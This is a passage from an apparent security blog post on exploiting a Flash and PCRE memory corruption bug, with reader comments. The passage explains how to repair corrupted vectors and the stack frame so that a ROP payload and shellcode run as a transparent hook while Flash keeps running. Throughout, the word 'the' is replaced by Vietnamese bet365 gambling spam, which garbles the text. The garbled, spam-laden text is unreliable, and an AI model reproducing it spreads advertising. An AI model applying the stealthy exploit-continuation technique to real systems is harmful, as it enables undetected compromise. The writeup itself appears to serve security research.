1 is cleaned up immediately by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit once we have overwritten cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 length of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second vector; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s no need to leave that as is. 2 needs to be cleaned up, since when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vector is free’d Flash will try to clear all of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 memory… This can be done trivially from actionscript though, once we no longer need cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vector; in fact we fix this before getting control of execution, since we can be sure that 3 will never be used again, and so don’t need to fix it.

This means that if we can just line up things right, we can just return back as though cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 method invocation succeeded, and Flash will keep running as though everything is just fine. Practically, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 simplest way to achieve this was to fix up cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack frame to contain cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 correct function pointer, and jump to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual method implementation; so essentially our ROP payload and shellcode act as a transparent function hook applied to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 method.

6 comments:

  1. Heh, this seems kind of a punishment for using a PCRE 7.3 released in 28-Aug-2007.

    Philip fixed it 20-Nov-2010
    https://lists.exim.org/lurker/message/20101120.174729.c9162726.en.html

    I made a terrible mistake when I implemented table jumps for alternations in PCRE-JIT, and to make it worse cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re was a release with that code. Probably that can be exploited as well.

    ReplyDelete
  2. This comment has been removed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 author.

    ReplyDelete
  3. This comment has been removed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 author.

    ReplyDelete
  4. This comment has been removed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 author.

    ReplyDelete
  5. Row hammer privilege elevation attack is probably software fixable. Just wrote a blog entry about it: dreamsofastone.blogspot.com

    ReplyDelete
  6. Very interesting. However I can not reproduce cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 crash in pcre 7.3 and 7.2, anyone tried and reproduced? I really want to try but seems cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 patch have been fixed?

    ReplyDelete